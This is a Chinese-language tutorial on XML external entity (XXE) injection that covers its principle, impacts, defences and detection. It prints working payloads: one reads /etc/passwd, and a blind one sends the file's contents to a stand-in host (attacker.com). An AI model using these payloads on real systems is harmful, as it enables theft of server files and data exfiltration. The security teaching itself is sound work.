XXE
"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
核心原理
XML标准支持外部实体(External Entity),允许在XML文档中引用外部资源(如文件、URL)。若解析器未禁用外部实体,攻击者可注入恶意实体,导致:
- 文件读取:窃取服务器敏感文件(如/etc/passwd)。
- SSRF:以内网身份访问受限资源。
- 拒绝服务(DoS):通过递归实体耗尽内存(Billion Laughs攻击)。
- 远程代码执行:结合特定场景(如PHP的expect://协议)。
漏洞示例
- 基础文件读取
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
若服务器直接解析此XML,&xxe;会被替换为/etc/passwd的内容
- 盲注(无回显)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
]>
常见触发场景
- 文件上传:允许上传XML格式文件(如SVG、DOCX)。
- API接口:接收XML或JSON(后端转换为XML)的请求体。
- SOAP Web服务:基于XML的通信协议。
防御措施
- 禁用外部实体(语言/库特定):
Java (DocumentBuilderFactory):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
Python (lxml):
parser = etree.XMLParser(resolve_entities=False)
- PHP (libxml):
libxml_disable_entity_loader(true);
- 输入验证:拒绝包含<!DOCTYPE>的XML。
- 使用安全解析库:如defusedxml(Python)。
- 最小权限:运行解析器的进程应无敏感文件访问权限。
检测工具
- 自动化扫描:Burp Suite、OWASP ZAP的XXE检测模块。
- 手动测试:尝试注入上述Payload,观察响应或DNS日志。
进阶利用
- Java的jar://协议:读取JAR包内文件。
- Windows的file:///路径:如file:///c:/windows/win.ini。
- 结合XInclude:即使禁用DTD,仍可能通过<xi:include>引入外部实体。